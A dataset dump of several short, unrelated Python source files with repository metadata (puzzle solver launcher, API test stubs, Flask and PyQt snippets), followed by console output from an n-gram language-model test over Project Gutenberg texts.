08011e1582bc136f2ef5f49739eefa5b2c3a96cf | 196 | py | Python | bin/sticks/one-sided-tetrasticks-5x5-diamond-lattice.py | tiwo/puzzler | 7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e | [
"Intel"
] | null | null | null | bin/sticks/one-sided-tetrasticks-5x5-diamond-lattice.py | tiwo/puzzler | 7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e | [
"Intel"
] | null | null | null | bin/sticks/one-sided-tetrasticks-5x5-diamond-lattice.py | tiwo/puzzler | 7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e | [
"Intel"
] | 1 | 2022-01-02T16:54:14.000Z | 2022-01-02T16:54:14.000Z | #!/usr/bin/env python
# $Id$
"""
107 solutions
"""
import puzzler
from puzzler.puzzles.tetrasticks import OneSidedTetrasticks5x5DiamondLattice
puzzler.run(OneSidedTetrasticks5x5DiamondLattice)
| 16.333333 | 76 | 0.811224 | 18 | 196 | 8.833333 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039326 | 0.091837 | 196 | 11 | 77 | 17.818182 | 0.853933 | 0.19898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
080e73c8415ff56bbefde1461c6564cb1930f330 | 1,128 | py | Python | test/test_user_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | test/test_user_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | test/test_user_api.py | timelight-ai/python-api-client | 7e14341a89e8b7e1b4b0730416f6ddd3ef66ef39 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
timelight
This is the timelight api. # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import timelight_ai_python_api_client
from timelight_ai_python_api_client.api.user_api import UserApi # noqa: E501
from timelight_ai_python_api_client.rest import ApiException
class TestUserApi(unittest.TestCase):
"""UserApi unit test stubs"""
def setUp(self):
self.api = timelight_ai_python_api_client.api.user_api.UserApi() # noqa: E501
def tearDown(self):
pass
def test_v1_user_login_post(self):
"""Test case for v1_user_login_post
Log the user in # noqa: E501
"""
pass
def test_v1_user_me_get(self):
"""Test case for v1_user_me_get
Retrieve current user information # noqa: E501
"""
pass
def test_v1_user_register_demo_post(self):
"""Test case for v1_user_register_demo_post
"""
pass
if __name__ == '__main__':
unittest.main()
| 20.509091 | 86 | 0.671986 | 153 | 1,128 | 4.601307 | 0.411765 | 0.051136 | 0.096591 | 0.113636 | 0.423295 | 0.322443 | 0.244318 | 0.102273 | 0 | 0 | 0 | 0.028202 | 0.245567 | 1,128 | 54 | 87 | 20.888889 | 0.79906 | 0.352837 | 0 | 0.222222 | 1 | 0 | 0.012384 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.277778 | false | 0.222222 | 0.277778 | 0 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
0818d711b0347fbf46cb1fd48fb8755163da2ac6 | 206 | py | Python | Flaskshop/run.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | 41 | 2019-05-13T14:22:58.000Z | 2021-11-12T03:30:10.000Z | Flaskshop/run.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | null | null | null | Flaskshop/run.py | GinkgoTeam/2019YJTZB | 7acb23f145ff70e09baade92e6b5a65856b36a1e | [
"MIT"
] | 10 | 2019-05-13T22:49:22.000Z | 2021-02-16T20:33:32.000Z | # -*- coding: utf-8 -*-
from taobao import app,db
from werkzeug.contrib.fixers import ProxyFix
app.wsgi_app=ProxyFix(app.wsgi_app)
if __name__ == '__main__':
app.run(debug=False)
db.create_all()
| 18.727273 | 44 | 0.708738 | 31 | 206 | 4.354839 | 0.677419 | 0.162963 | 0.222222 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005714 | 0.150485 | 206 | 10 | 45 | 20.6 | 0.765714 | 0.101942 | 0 | 0 | 0 | 0 | 0.043716 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
0831dc172b8db8ce2790fc0825809956feac1af5 | 480 | py | Python | Client/CameraConfig.py | villers/Python_Bahamas | 827255fac680ab0ef94673a8f0185fef1637acab | [
"MIT"
] | null | null | null | Client/CameraConfig.py | villers/Python_Bahamas | 827255fac680ab0ef94673a8f0185fef1637acab | [
"MIT"
] | null | null | null | Client/CameraConfig.py | villers/Python_Bahamas | 827255fac680ab0ef94673a8f0185fef1637acab | [
"MIT"
] | null | null | null | from PyQt5 import QtMultimedia
class CameraConfig():
def __init__(self):
self.CameraCurrent = self.GetDefaultCamera()
def GetDefaultCamera(self):
return QtMultimedia.QCameraInfo.defaultCamera()
def GetCameraList(self):
return QtMultimedia.QCameraInfo.availableCameras()
def GetCameralistName(self):
return map(lambda x : x.deviceName(), self.GetCameraList())
def GetCurrentCamera(self):
return self.CameraCurrent
| 24 | 67 | 0.708333 | 44 | 480 | 7.636364 | 0.5 | 0.119048 | 0.130952 | 0.196429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002618 | 0.204167 | 480 | 19 | 68 | 25.263158 | 0.876963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.416667 | false | 0 | 0.083333 | 0.333333 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
0848d560209c205e8138864edd3f07c9a5f31b23 | 216 | py | Python | polysphinx/nodes.py | d9pouces/PolyArchiv | 36f4a61bf29337f3efea7abb098329b693122e78 | [
"CECILL-B"
] | 9 | 2016-05-15T07:46:10.000Z | 2021-12-05T17:12:28.000Z | polysphinx/nodes.py | d9pouces/PolyArchiv | 36f4a61bf29337f3efea7abb098329b693122e78 | [
"CECILL-B"
] | 1 | 2016-05-23T17:21:46.000Z | 2016-05-23T17:21:46.000Z | polysphinx/nodes.py | d9pouces/PolyArchiv | 36f4a61bf29337f3efea7abb098329b693122e78 | [
"CECILL-B"
] | 3 | 2016-06-25T06:45:36.000Z | 2021-06-19T06:27:33.000Z | # coding=utf-8
from __future__ import unicode_literals
# noinspection PyPackageRequirements
from docutils import nodes
__author__ = "Matthieu Gallet"
class EnginesHelpNode(nodes.General, nodes.Element):
pass
| 18 | 52 | 0.805556 | 24 | 216 | 6.875 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005348 | 0.134259 | 216 | 11 | 53 | 19.636364 | 0.877005 | 0.217593 | 0 | 0 | 0 | 0 | 0.090361 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.2 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
f242266b523680cbf4ac6629f08a687f647e4019 | 95 | py | Python | 0x0A-python-inheritance/5-base_geometry.py | ricardo1470/holbertonschool-higher_level_programming | aab73c8efee665b0215958ee7b338871f13634bc | [
"CNRI-Python"
] | null | null | null | 0x0A-python-inheritance/5-base_geometry.py | ricardo1470/holbertonschool-higher_level_programming | aab73c8efee665b0215958ee7b338871f13634bc | [
"CNRI-Python"
] | null | null | null | 0x0A-python-inheritance/5-base_geometry.py | ricardo1470/holbertonschool-higher_level_programming | aab73c8efee665b0215958ee7b338871f13634bc | [
"CNRI-Python"
] | null | null | null | #!/usr/bin/python3
"""a class empty"""
class BaseGeometry():
"""create class"""
pass
| 11.875 | 22 | 0.589474 | 11 | 95 | 5.090909 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013158 | 0.2 | 95 | 7 | 23 | 13.571429 | 0.723684 | 0.463158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
f2591c9cc2d773aa41eb95e6c0280b5dd12e7661 | 168 | py | Python | src/gfl/core/fl/trainer/trainer.py | mingt2019/GFL | b8e027d2e8cdcc27c85a00744f8790d6db3cc4a3 | [
"MIT"
] | 123 | 2020-06-05T13:30:38.000Z | 2022-03-30T08:39:43.000Z | src/gfl/core/fl/trainer/trainer.py | GalaxyLearning/PFL | b8e027d2e8cdcc27c85a00744f8790d6db3cc4a3 | [
"MIT"
] | 13 | 2020-06-19T13:09:47.000Z | 2021-12-22T03:09:24.000Z | src/gfl/core/fl/trainer/trainer.py | GalaxyLearning/GFL | b8e027d2e8cdcc27c85a00744f8790d6db3cc4a3 | [
"MIT"
] | 35 | 2020-06-08T15:52:21.000Z | 2022-03-25T11:52:42.000Z |
class FLTrainer(object):
def __init__(self, job):
super(FLTrainer, self).__init__()
def train(self):
pass
def test(self):
pass
| 12.923077 | 41 | 0.565476 | 19 | 168 | 4.578947 | 0.578947 | 0.183908 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.321429 | 168 | 12 | 42 | 14 | 0.763158 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0.285714 | 0 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
f28d9168c083eeaf00ea6a3d46dfd7955077177e | 182 | py | Python | bigdata_study/pyspark3/apilib/05_pyspark.mllib.py | gottaegbert/penter | 8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d | [
"MIT"
] | 13 | 2020-01-04T07:37:38.000Z | 2021-08-31T05:19:58.000Z | bigdata_study/pyspark3/apilib/05_pyspark.mllib.py | gottaegbert/penter | 8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d | [
"MIT"
] | 3 | 2020-06-05T22:42:53.000Z | 2020-08-24T07:18:54.000Z | bigdata_study/pyspark3/apilib/05_pyspark.mllib.py | gottaegbert/penter | 8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d | [
"MIT"
] | 9 | 2020-10-19T04:53:06.000Z | 2021-08-31T05:20:01.000Z | # http://spark.apache.org/docs/latest/api/python/pyspark.mllib.html
"""
MLlib是Spark中实现机器学习功能的模块,其主要针对RDD对象与DStream流对象。
在Spark 2.0中,新引入的ML包是主要针对DataFrame对象的机器学习包。MLlib目前处于维护状态。
""" | 22.75 | 67 | 0.813187 | 18 | 182 | 8.222222 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011561 | 0.049451 | 182 | 8 | 68 | 22.75 | 0.843931 | 0.934066 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f295b17538a96c67ccf10cb1ba54e00f590dd310 | 191 | py | Python | examples/example__tubprocess__01_b.py | joetainment/joecceasy | ae21b4da9a40272dbb76299e68b62bbd40fa7681 | [
"MIT"
] | null | null | null | examples/example__tubprocess__01_b.py | joetainment/joecceasy | ae21b4da9a40272dbb76299e68b62bbd40fa7681 | [
"MIT"
] | null | null | null | examples/example__tubprocess__01_b.py | joetainment/joecceasy | ae21b4da9a40272dbb76299e68b62bbd40fa7681 | [
"MIT"
] | null | null | null | from joecceasy import Easy
cmd = ["python.exe", "-c", "import time; print(1); time.sleep(1); print(2); time.sleep(1); print(3)" ]
tub = Easy.Tubprocess( cmd, autoPrint=True )
tub.wait() | 38.2 | 103 | 0.649215 | 30 | 191 | 4.133333 | 0.633333 | 0.145161 | 0.16129 | 0.241935 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030675 | 0.146597 | 191 | 5 | 104 | 38.2 | 0.730061 | 0 | 0 | 0 | 0 | 0.25 | 0.441489 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
f29e77d819e82dbd8116b4925a9bb778f9bbaae1 | 657 | py | Python | tests/test_payment_methods.py | borko81/parking_system_with_flask | 0ff10422cd1892bcb8c4c6958a159b08c1da919b | [
"MIT"
] | 1 | 2022-01-14T15:31:11.000Z | 2022-01-14T15:31:11.000Z | tests/test_payment_methods.py | borko81/parking_system_with_flask | 0ff10422cd1892bcb8c4c6958a159b08c1da919b | [
"MIT"
] | 5 | 2021-12-03T13:27:44.000Z | 2021-12-05T11:46:08.000Z | tests/test_payment_methods.py | borko81/parking_system_with_flask | 0ff10422cd1892bcb8c4c6958a159b08c1da919b | [
"MIT"
] | null | null | null | from flask_testing import TestCase
from config import create_app
from db import db
from tests.base import generate_token
from tests.factories import AdminUserFactory
class TestInsertNewPAymnetMethods(TestCase):
def create_app(self):
return create_app("config.TestingConfig")
def setUp(self):
self.app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
db.init_app(self.app)
db.create_all()
self.user = AdminUserFactory()
self.token = generate_token(self.user)
def tearDown(self):
db.session.remove()
db.drop_all()
def test_try_insert_new_payment_method(self):
pass
| 25.269231 | 65 | 0.707763 | 82 | 657 | 5.47561 | 0.487805 | 0.060134 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.21309 | 657 | 25 | 66 | 26.28 | 0.868472 | 0 | 0 | 0 | 1 | 0 | 0.076104 | 0.045662 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0.052632 | 0.263158 | 0.052632 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
f2c3412520777085a73b4a869e7de3b7d7c80a99 | 21,795 | py | Python | assignment_1/n_grams_lm_gutenberg_test_20181009.py | sigfredonin/NEU_CS6120 | 878fb65f9685af8f4d464398f26d1c5e1a803971 | [
"FSFAP"
] | null | null | null | assignment_1/n_grams_lm_gutenberg_test_20181009.py | sigfredonin/NEU_CS6120 | 878fb65f9685af8f4d464398f26d1c5e1a803971 | [
"FSFAP"
] | null | null | null | assignment_1/n_grams_lm_gutenberg_test_20181009.py | sigfredonin/NEU_CS6120 | 878fb65f9685af8f4d464398f26d1c5e1a803971 | [
"FSFAP"
] | null | null | null | >>>
===== RESTART: D:\Documents\NLP\NEU_CS6120\n_grams_lm_gutenberg_test.py =====
====October 09, 2018 08:42:01 AM====
-- test set_n_grams_from_files()- 1-grams --
--------------------------------------------------
-- Initialize 1-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
----+- Files -+----+----+----| 1-Grams |-- New --|
austen-emma.txt 5803 5803
austen-persuasion.txt 4939 1017
austen-sense.txt 5394 745
bible-kjv.txt 8988 5026
blake-poems.txt 1481 164
bryant-stories.txt 3541 442
burgess-busterbrown.txt 1459 89
carroll-alice.txt 2461 183
chesterton-ball.txt 6141 815
chesterton-brown.txt 5827 365
chesterton-thursday.txt 5085 142
edgeworth-parents.txt 6754 291
melville-moby_dick.txt 9720 595
milton-paradise.txt 6089 129
shakespeare-caesar.txt 1998 343
shakespeare-hamlet.txt 2623 82
shakespeare-macbeth.txt 2072 28
whitman-leaves.txt 7470 85
--------------------------------------------------
Total 1-grams found: 16344
--------------------------------------------------
Sample first 30 1-grams found --
[(('[',), 131), (('Emma',), 861), (('by',), 7981), (('Jane',), 301), (('UNK',), 78681), ((']',), 131), (('I',), 29976), (('CHAPTER',), 291), (('Woodhouse',), 310), ((',',), 192339), (('handsome',), 130), (('clever',), 74), (('and',), 78725), (('rich',), 231), (('with',), 16823), (('a',), 32387), (('comfortable',), 108), (('home',), 673), (('happy',), 530), (('disposition',), 73), (('seemed',), 1083), (('to',), 46102), (('unite',), 17), (('some',), 2557), (('of',), 70031), (('the',), 125714), (('best',), 568), (('blessings',), 24), (('existence',), 44), ((';',), 27942)]
Sample last 30 1-grams found --
[(('May-be',), 7), (('disappear',), 7), (('absorb',), 14), (('recitative',), 6), (('myths',), 7), (('railroads',), 6), (('laboring',), 6), (('pennants',), 10), (('Allons',), 10), (('envelop',), 8), (('womanhood',), 6), (('Brooklyn',), 10), (('Answerer',), 6), (('growths',), 11), (('bugles',), 12), (('myriad',), 10), (('elate',), 6), (('railroad',), 6), (('unreck',), 6), (('recesses',), 6), (('Pioneers',), 28), (('en-masse',), 6), (('responding',), 7), (('dirge',), 6), (('murk',), 7), (('Vigil',), 7), (('vigil',), 6), (('aspiration',), 6), (('Unfolded',), 11), (('trumpeter',), 8)]
====October 09, 2018 08:44:55 AM====
-- test set_n_grams_from_files()- 2-grams --
--------------------------------------------------
-- Initialize 2-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
----+- Files -+----+----+----| 2-Grams |-- New --|
austen-emma.txt 60174 60174
austen-persuasion.txt 38796 22476
austen-sense.txt 50189 27258
bible-kjv.txt 150699 129649
blake-poems.txt 5677 2586
bryant-stories.txt 22981 10067
burgess-busterbrown.txt 8246 3271
carroll-alice.txt 14302 5841
chesterton-ball.txt 40977 20977
chesterton-brown.txt 37593 17270
chesterton-thursday.txt 30904 12410
edgeworth-parents.txt 63997 28263
melville-moby_dick.txt 93723 51747
milton-paradise.txt 48823 27083
shakespeare-caesar.txt 12204 6287
shakespeare-hamlet.txt 16510 7464
shakespeare-macbeth.txt 11383 4454
whitman-leaves.txt 59969 29370
--------------------------------------------------
Total 2-grams found: 466647
--------------------------------------------------
Sample first 30 2-grams found --
[(('[', 'Emma'), 1), (('Emma', 'by'), 1), (('by', 'Jane'), 4), (('Jane', 'UNK'), 5), (('UNK', 'UNK'), 3679), (('UNK', ']'), 63), ((']', 'UNK'), 15), (('UNK', 'I'), 435), (('I', 'CHAPTER'), 1), (('CHAPTER', 'I'), 7), (('I', 'Emma'), 2), (('Emma', 'Woodhouse'), 4), (('Woodhouse', ','), 118), ((',', 'handsome'), 11), (('handsome', ','), 30), ((',', 'clever'), 3), (('clever', ','), 17), ((',', 'and'), 41329), (('and', 'rich'), 9), (('rich', ','), 35), ((',', 'with'), 2100), (('with', 'a'), 1711), (('a', 'comfortable'), 18), (('comfortable', 'home'), 3), (('home', 'and'), 22), (('and', 'happy'), 30), (('happy', 'disposition'), 1), (('disposition', ','), 20), ((',', 'seemed'), 90), (('seemed', 'to'), 403)]
Sample last 30 2-grams found --
[(('The', 'slower'), 1), (('slower', 'fainter'), 1), (('clock', 'is'), 1), ((',', 'nightfall'), 1), (('joy', "'d"), 1), ((',', 'caress'), 1), ((';', 'Delightful'), 1), (('now', 'separation'), 1), (('separation', '--'), 1), (('Long', 'indeed'), 1), ((',', 'slept'), 1), (('become', 'really'), 1), (('really', 'blended'), 1), (('blended', 'into'), 1), (('die', 'we'), 1), (('die', 'together'), 1), (('(', 'yes'), 1), (("'ll", 'remain'), 1), (('remain', 'one'), 1), (('anywhere', 'we'), 1), (('meet', 'what'), 1), (('May-be', 'we'), 1), (('learn', 'something'), 1), (('May-be', 'it'), 2), (('is', 'yourself'), 1), (('yourself', 'now'), 1), (('now', 'really'), 1), (('true', 'songs'), 1), (('Good-bye', '--'), 1), (('hail', '!'), 1)]
====October 09, 2018 08:48:05 AM====
-- test set_n_grams_from_files()- 3-grams --
--------------------------------------------------
-- Initialize 3-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
----+- Files -+----+----+----| 3-Grams |-- New --|
austen-emma.txt 135258 135258
austen-persuasion.txt 76686 62297
austen-sense.txt 106099 83743
bible-kjv.txt 448413 428838
blake-poems.txt 7597 6172
bryant-stories.txt 42269 30419
burgess-busterbrown.txt 14072 9995
carroll-alice.txt 25249 18403
chesterton-ball.txt 74850 57426
chesterton-brown.txt 67706 49159
chesterton-thursday.txt 54704 37855
edgeworth-parents.txt 143023 102107
melville-moby_dick.txt 191656 150669
milton-paradise.txt 83154 69949
shakespeare-caesar.txt 21101 16157
shakespeare-hamlet.txt 29475 21950
shakespeare-macbeth.txt 18679 13448
whitman-leaves.txt 115146 91439
--------------------------------------------------
Total 3-grams found: 1385284
--------------------------------------------------
Sample first 30 3-grams found --
[(('[', 'Emma', 'by'), 1), (('Emma', 'by', 'Jane'), 1), (('by', 'Jane', 'UNK'), 3), (('Jane', 'UNK', 'UNK'), 3), (('UNK', 'UNK', ']'), 23), (('UNK', ']', 'UNK'), 4), ((']', 'UNK', 'I'), 1), (('UNK', 'I', 'CHAPTER'), 1), (('I', 'CHAPTER', 'I'), 1), (('CHAPTER', 'I', 'Emma'), 2), (('I', 'Emma', 'Woodhouse'), 1), (('Emma', 'Woodhouse', ','), 4), (('Woodhouse', ',', 'handsome'), 1), ((',', 'handsome', ','), 6), (('handsome', ',', 'clever'), 1), ((',', 'clever', ','), 1), (('clever', ',', 'and'), 4), ((',', 'and', 'rich'), 4), (('and', 'rich', ','), 1), (('rich', ',', 'with'), 1), ((',', 'with', 'a'), 435), (('with', 'a', 'comfortable'), 1), (('a', 'comfortable', 'home'), 3), (('comfortable', 'home', 'and'), 1), (('home', 'and', 'happy'), 1), (('and', 'happy', 'disposition'), 1), (('happy', 'disposition', ','), 1), (('disposition', ',', 'seemed'), 1), ((',', 'seemed', 'to'), 22), (('seemed', 'to', 'unite'), 1)]
Sample last 30 3-grams found --
[(('off', 'and', 'UNK'), 1), (('and', 'learn', 'something'), 1), (('learn', 'something', ','), 1), (('something', ',', 'May-be'), 1), ((',', 'May-be', 'it'), 1), (('May-be', 'it', 'is'), 2), (('it', 'is', 'yourself'), 1), (('is', 'yourself', 'now'), 1), (('yourself', 'now', 'really'), 1), (('now', 'really', 'UNK'), 1), (('the', 'true', 'songs'), 1), (('true', 'songs', ','), 1), (('?', ')', 'May-be'), 1), ((')', 'May-be', 'it'), 1), (('is', 'you', 'the'), 1), (('you', 'the', 'mortal'), 1), (('the', 'mortal', 'UNK'), 1), (('mortal', 'UNK', 'really'), 1), ((',', 'turning', '--'), 1), (('turning', '--', 'so'), 1), (('--', 'so', 'now'), 1), (('so', 'now', 'finally'), 1), (('now', 'finally', ','), 1), (('finally', ',', 'Good-bye'), 1), ((',', 'Good-bye', '--'), 1), (('Good-bye', '--', 'and'), 1), (('--', 'and', 'hail'), 1), (('and', 'hail', '!'), 1), (('hail', '!', 'my'), 1), (('!', 'my', 'Fancy'), 1)]
====October 09, 2018 08:51:19 AM====
-- test set_n_grams_from_files()- 4-grams --
--------------------------------------------------
-- Initialize 4-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
----+- Files -+----+----+----| 4-Grams |-- New --|
austen-emma.txt 175144 175144
austen-persuasion.txt 92898 87332
austen-sense.txt 132036 122844
bible-kjv.txt 689570 683094
blake-poems.txt 8005 7714
bryant-stories.txt 50421 45557
burgess-busterbrown.txt 16697 15240
carroll-alice.txt 30092 27769
chesterton-ball.txt 89598 82728
chesterton-brown.txt 80123 72414
chesterton-thursday.txt 64570 57130
edgeworth-parents.txt 186339 166772
melville-moby_dick.txt 237875 221147
milton-paradise.txt 93280 89900
shakespeare-caesar.txt 24275 22671
shakespeare-hamlet.txt 34665 32086
shakespeare-macbeth.txt 21326 19513
whitman-leaves.txt 138925 131462
--------------------------------------------------
Total 4-grams found: 2060517
--------------------------------------------------
Sample first 30 4-grams found --
[(('[', 'Emma', 'by', 'Jane'), 1), (('Emma', 'by', 'Jane', 'UNK'), 1), (('by', 'Jane', 'UNK', 'UNK'), 3), (('Jane', 'UNK', 'UNK', ']'), 3), (('UNK', 'UNK', ']', 'UNK'), 3), (('UNK', ']', 'UNK', 'I'), 1), ((']', 'UNK', 'I', 'CHAPTER'), 1), (('UNK', 'I', 'CHAPTER', 'I'), 1), (('I', 'CHAPTER', 'I', 'Emma'), 1), (('CHAPTER', 'I', 'Emma', 'Woodhouse'), 1), (('I', 'Emma', 'Woodhouse', ','), 1), (('Emma', 'Woodhouse', ',', 'handsome'), 1), (('Woodhouse', ',', 'handsome', ','), 1), ((',', 'handsome', ',', 'clever'), 1), (('handsome', ',', 'clever', ','), 1), ((',', 'clever', ',', 'and'), 1), (('clever', ',', 'and', 'rich'), 1), ((',', 'and', 'rich', ','), 1), (('and', 'rich', ',', 'with'), 1), (('rich', ',', 'with', 'a'), 1), ((',', 'with', 'a', 'comfortable'), 1), (('with', 'a', 'comfortable', 'home'), 1), (('a', 'comfortable', 'home', 'and'), 1), (('comfortable', 'home', 'and', 'happy'), 1), (('home', 'and', 'happy', 'disposition'), 1), (('and', 'happy', 'disposition', ','), 1), (('happy', 'disposition', ',', 'seemed'), 1), (('disposition', ',', 'seemed', 'to'), 1), ((',', 'seemed', 'to', 'unite'), 1), (('seemed', 'to', 'unite', 'some'), 1)]
Sample last 30 4-grams found --
[(('really', 'UNK', 'me', 'to'), 1), (('me', 'to', 'the', 'true'), 1), (('to', 'the', 'true', 'songs'), 1), (('the', 'true', 'songs', ','), 1), (('true', 'songs', ',', '('), 1), (('songs', ',', '(', 'who'), 1), (('knows', '?', ')', 'May-be'), 1), (('?', ')', 'May-be', 'it'), 1), ((')', 'May-be', 'it', 'is'), 1), (('May-be', 'it', 'is', 'you'), 1), (('it', 'is', 'you', 'the'), 1), (('is', 'you', 'the', 'mortal'), 1), (('you', 'the', 'mortal', 'UNK'), 1), (('the', 'mortal', 'UNK', 'really'), 1), (('mortal', 'UNK', 'really', 'UNK'), 1), (('UNK', 'really', 'UNK', ','), 1), (('really', 'UNK', ',', 'turning'), 1), (('UNK', ',', 'turning', '--'), 1), ((',', 'turning', '--', 'so'), 1), (('turning', '--', 'so', 'now'), 1), (('--', 'so', 'now', 'finally'), 1), (('so', 'now', 'finally', ','), 1), (('now', 'finally', ',', 'Good-bye'), 1), (('finally', ',', 'Good-bye', '--'), 1), ((',', 'Good-bye', '--', 'and'), 1), (('Good-bye', '--', 'and', 'hail'), 1), (('--', 'and', 'hail', '!'), 1), (('and', 'hail', '!', 'my'), 1), (('hail', '!', 'my', 'Fancy'), 1), (('!', 'my', 'Fancy', '.'), 1)]
====October 09, 2018 08:54:38 AM====
-- test set_n_grams_from_files()- 5-grams --
--------------------------------------------------
-- Initialize 5-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
